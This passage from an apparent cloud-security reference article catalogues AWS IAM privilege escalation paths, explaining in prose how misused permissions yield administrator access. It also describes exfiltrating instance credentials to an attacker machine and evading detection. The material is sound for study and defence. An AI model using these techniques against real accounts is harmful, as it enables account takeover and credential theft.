class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#codestarcreateproject-codestarassociateteammember class=md-nav__link> <span class=md-ellipsis> codestar:CreateProject, codestar:AssociateTeamMember </span> </a> </li> <li class=md-nav__item> <a href=#glueupdatedevendpoint class=md-nav__link> <span class=md-ellipsis> glue:UpdateDevEndpoint </span> </a> </li> <li class=md-nav__item> <a href=#iamaddusertogroup class=md-nav__link> <span class=md-ellipsis> iam:AddUserToGroup </span> </a> </li> <li class=md-nav__item> <a href=#iamattachgrouppolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachGroupPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamattachrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamattachuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamcreateaccesskey class=md-nav__link> <span class=md-ellipsis> iam:CreateAccessKey </span> </a> </li> <li class=md-nav__item> <a href=#iamcreateloginprofile class=md-nav__link> <span class=md-ellipsis> iam:CreateLoginProfile </span> </a> </li> <li class=md-nav__item> <a href=#iamcreatepolicyversion class=md-nav__link> <span class=md-ellipsis> iam:CreatePolicyVersion </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleterolepermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:DeleteRolePermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleterolepolicy class=md-nav__link> <span class=md-ellipsis> iam:DeleteRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleteuserpermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:DeleteUserPermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleteuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:DeleteUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdetachrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:DetachRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdetachuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:DetachUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration class=md-nav__link> <span class=md-ellipsis> iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration, </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate class=md-nav__link> <span class=md-ellipsis> iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-cloudformationcreatestack class=md-nav__link> <span class=md-ellipsis> iam:PassRole, cloudformation:CreateStack </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-codestarcreateproject class=md-nav__link> <span class=md-ellipsis> iam:PassRole, codestar:CreateProject </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition class=md-nav__link> <span class=md-ellipsis> iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-ec2runinstances class=md-nav__link> <span class=md-ellipsis> iam:PassRole, ec2:RunInstances </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-gluecreatedevendpoint class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:CreateDevEndpoint </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-gluecreatejob class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:CreateJob </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-glueupdatejob class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:UpdateJob </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdaaddpermission-lambdacreatefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:AddPermission, lambda:CreateFunction </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdacreatefunction-lambdainvokefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction </span> </a> </li> <li class=md-nav__item> <a href=#iamputgrouppolicy class=md-nav__link> <span class=md-ellipsis> iam:PutGroupPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamputrolepermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:PutRolePermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamputrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:PutRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamputuserpermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:PutUserPermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamputuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:PutUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamsetdefaultpolicyversion class=md-nav__link> <span class=md-ellipsis> iam:SetDefaultPolicyVersion </span> </a> </li> <li class=md-nav__item> <a href=#iamupdateassumerolepolicy class=md-nav__link> <span class=md-ellipsis> iam:UpdateAssumeRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamupdateloginprofile class=md-nav__link> <span class=md-ellipsis> iam:UpdateLoginProfile </span> </a> </li> <li class=md-nav__item> <a href=#lambdaupdatefunctioncode class=md-nav__link> <span class=md-ellipsis> lambda:UpdateFunctionCode </span> </a> </li> <li class=md-nav__item> <a href=#lambdaupdatefunctionconfiguration class=md-nav__link> <span class=md-ellipsis> lambda:UpdateFunctionConfiguration </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/iam_privilege_escalation.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>AWS IAM Privilege Escalation Techniques</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ >AWS IAM Privilege Escalation – Methods and Mitigation</a> by <a href=https://twitter.com/SpenGietz>Spencer Gietzen</a></p> <p><a class=glightbox href=/images/researchers/spencer_gietzen.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/spencer_gietzen.jpg alt="Spencer Gietzen" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <ul> <li><a href=https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation>AWS IAM Privilege Escalation Methods</a></li> <li><a href=https://bishopfox.com/blog/privilege-escalation-in-aws>Well, That Escalated Quickly: Privilege Escalation in AWS</a> by <a href=https://bishopfox.com/authors/gerben-kleijn>Gerben Kleijn</a></li> </ul> </li> </ul> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>If you'd like to get hands on experience exploiting these misconfigurations, check out <a href=https://github.com/BishopFox/iam-vulnerable>iam-vulnerable</a> by <a href=https://twitter.com/sethsec>Seth Art</a>.</p> </div> <h2 id=codestarcreateproject-codestarassociateteammember>codestar:CreateProject, codestar:AssociateTeamMember<a class=headerlink href=#codestarcreateproject-codestarassociateteammember title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/codestar/create-project.html>codestar:CreateProject</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/codestar/associate-team-member.html>codestar:AssociateTeamMember</a> permissions, an adversary can create a new <a href=https://aws.amazon.com/codestar/ >CodeStar</a> project and associate themselves as an Owner of the project.</p> <p>This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/iam_privilege_escalation/codestar_associate.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Using codestar:AssociateTeamMember" loading=lazy src=../../../images/aws/exploitation/iam_privilege_escalation/codestar_associate.png></a></p> </figure> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/iam_privilege_escalation/codestar_policy.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing the CodeStar policy" loading=lazy src=../../../images/aws/exploitation/iam_privilege_escalation/codestar_policy.png></a></p> </figure> <h2 id=glueupdatedevendpoint>glue:UpdateDevEndpoint<a class=headerlink href=#glueupdatedevendpoint title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/update-dev-endpoint.html>glue:UpdateDevEndpoint</a> permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/get-dev-endpoint.html>glue:GetDevEndpoint</a> permission as well, if the existing endpoint cannot be identified via other means. </p> <h2 id=iamaddusertogroup>iam:AddUserToGroup<a class=headerlink href=#iamaddusertogroup title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/add-user-to-group.html>iam:AddUserToGroup</a> permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges. </p> <h2 id=iamattachgrouppolicy>iam:AttachGroupPolicy<a class=headerlink href=#iamattachgrouppolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-group-policy.html>iam:AttachGroupPolicy</a> permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.</p> <h2 id=iamattachrolepolicy>iam:AttachRolePolicy<a class=headerlink href=#iamattachrolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-role-policy.html>iam:AttachRolePolicy</a> permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.</p> <h2 id=iamattachuserpolicy>iam:AttachUserPolicy<a class=headerlink href=#iamattachuserpolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-user-policy.html>iam:AttachUserPolicy</a> permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.</p> <h2 id=iamcreateaccesskey>iam:CreateAccessKey<a class=headerlink href=#iamcreateaccesskey title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-access-key.html>iam:CreateAccessKey</a> permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/iam_privilege_escalation/create_access_key.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing iam:CreateAccessKey" loading=lazy src=../../../images/aws/exploitation/iam_privilege_escalation/create_access_key.png></a></p> </figure> <h2 id=iamcreateloginprofile>iam:CreateLoginProfile<a class=headerlink href=#iamcreateloginprofile title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-login-profile.html>iam:CreateLoginProfile</a> permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use <a href=https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile>iam:UpdateLoginProfile</a> instead.</p> <h2 id=iamcreatepolicyversion>iam:CreatePolicyVersion<a class=headerlink href=#iamcreatepolicyversion title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-policy-version.html>iam:CreatePolicyVersion</a> permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.</p> <h2 id=iamdeleterolepermissionsboundary>iam:DeleteRolePermissionsBoundary<a class=headerlink href=#iamdeleterolepermissionsboundary title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/delete-role-permissions-boundary.html>iam:DeleteRolePermissionsBoundary</a> permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p> <h2 id=iamdeleterolepolicy>iam:DeleteRolePolicy<a class=headerlink href=#iamdeleterolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/delete-role-policy.html>iam:DeleteRolePolicy</a> permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.</p> <h2 id=iamdeleteuserpermissionsboundary>iam:DeleteUserPermissionsBoundary<a class=headerlink href=#iamdeleteuserpermissionsboundary title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/delete-user-permissions-boundary.html>iam:DeleteUserPermissionsBoundary</a> permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p> <h2 id=iamdeleteuserpolicy>iam:DeleteUserPolicy<a class=headerlink href=#iamdeleteuserpolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/delete-user-policy.html>iam:DeleteUserPolicy</a> permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.</p> <h2 id=iamdetachrolepolicy>iam:DetachRolePolicy<a class=headerlink href=#iamdetachrolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/detach-role-policy.html>iam:DetachRolePolicy</a> permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.</p> <h2 id=iamdetachuserpolicy>iam:DetachUserPolicy<a class=headerlink href=#iamdetachuserpolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/detach-user-policy.html>iam:DetachUserPolicy</a> permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.</p> <h2 id=iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration>iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,<a class=headerlink href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_CreateLaunchConfiguration.html>autoscaling:CreateLaunchConfiguration</a>, <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_CreateAutoScalingGroup.html>autoscaling:CreateAutoScalingGroup</a>, and <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_UpdateAutoScalingGroup.html>autoscaling:UpdateAutoScalingGroup</a> permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p> <h2 id=iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate>iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate<a class=headerlink href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateLaunchTemplate.html>ec2:CreateLaunchTemplate</a>, <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_CreateAutoScalingGroup.html>autoscaling:CreateAutoScalingGroup</a>, and <a href=https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_UpdateAutoScalingGroup.html>autoscaling:UpdateAutoScalingGroup</a> permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p> <h2 id=iampassrole-cloudformationcreatestack>iam:PassRole, cloudformation:CreateStack<a class=headerlink href=#iampassrole-cloudformationcreatestack title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudformation/create-stack.html>cloudformation:CreateStack</a> permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p> <h2 id=iampassrole-codestarcreateproject>iam:PassRole, codestar:CreateProject<a class=headerlink href=#iampassrole-codestarcreateproject title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/codestar/create-project.html>codestar:CreateProject</a> permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.</p> <h2 id=iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition>iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition<a class=headerlink href=#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/datapipeline/activate-pipeline.html>datapipeline:ActivatePipeline</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/datapipeline/create-pipeline.html>datapipeline:CreatePipeline</a>, and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/datapipeline/put-pipeline-definition.html>datapipeline:PutPipelineDefinition</a> permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.</p> <h2 id=iampassrole-ec2runinstances>iam:PassRole, ec2:RunInstances<a class=headerlink href=#iampassrole-ec2runinstances title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/run-instances.html>ec2:RunInstances</a> permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.</p> <p>This can be taken advantage of with the following one-liner:</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/iam_privilege_escalation/ec2_pass_role_one_liner.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="ec2 run-instances one-liner" loading=lazy src=../../../images/aws/exploitation/iam_privilege_escalation/ec2_pass_role_one_liner.png></a></p> </figure> <p>Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.</p> <p>A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage <a href=https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ >user data</a> to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.</p> <p>Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be <a href=https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ >bypassed</a>).</p> <h2 id=iampassrole-gluecreatedevendpoint>iam:PassRole, glue:CreateDevEndpoint<a class=headerlink href=#iampassrole-gluecreatedevendpoint title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/create-dev-endpoint.html>glue:CreateDevEndpoint</a> permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.</p> <h2 id=iampassrole-gluecreatejob>iam:PassRole, glue:CreateJob<a class=headerlink href=#iampassrole-gluecreatejob title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/create-job.html>glue:CreateJob</a> permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/start-job-run.html>glue:StartJobRun</a> privilege would allow for the job to be run.</p> <h2 id=iampassrole-glueupdatejob>iam:PassRole, glue:UpdateJob<a class=headerlink href=#iampassrole-glueupdatejob title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/update-job.html>glue:UpdateJob</a> permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/start-job-run.html>glue:StartJobRun</a> privilege or some pre-existing trigger could cause the job to run.</p> <h2 id=iampassrole-lambdaaddpermission-lambdacreatefunction>iam:PassRole, lambda:AddPermission, lambda:CreateFunction<a class=headerlink href=#iampassrole-lambdaaddpermission-lambdacreatefunction title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-permission.html>lambda:AddPermission</a>, and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/create-function.html>lambda:CreateFunction</a> permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.</p> <h2 id=iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction>iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction<a class=headerlink href=#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/create-event-source-mapping.html>lambda:CreateEventSourceMapping</a>, and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/create-function.html>lambda:CreateFunction</a> permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.</p> <p>It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/dynamodb/create-table.html>dynamodb:CreateTable</a> and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/dynamodb/put-item.html>dynamodb:PutItem</a> permissions to trigger this yourself.</p> <h2 id=iampassrole-lambdacreatefunction-lambdainvokefunction>iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction<a class=headerlink href=#iampassrole-lambdacreatefunction-lambdainvokefunction title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_iam-passrole-service.html>iam:PassRole</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/create-function.html>lambda:CreateFunction</a>, and <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/invoke.html>lambda:InvokeFunction</a> permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.</p> <h2 id=iamputgrouppolicy>iam:PutGroupPolicy<a class=headerlink href=#iamputgrouppolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/put-group-policy.html>iam:PutGroupPolicy</a> permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.</p> <h2 id=iamputrolepermissionsboundary>iam:PutRolePermissionsBoundary<a class=headerlink href=#iamputrolepermissionsboundary title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/put-role-permissions-boundary.html>iam:PutRolePermissionsBoundary</a> permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p> <h2 id=iamputrolepolicy>iam:PutRolePolicy<a class=headerlink href=#iamputrolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/put-role-policy.html>iam:PutRolePolicy</a> permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.</p> <h2 id=iamputuserpermissionsboundary>iam:PutUserPermissionsBoundary<a class=headerlink href=#iamputuserpermissionsboundary 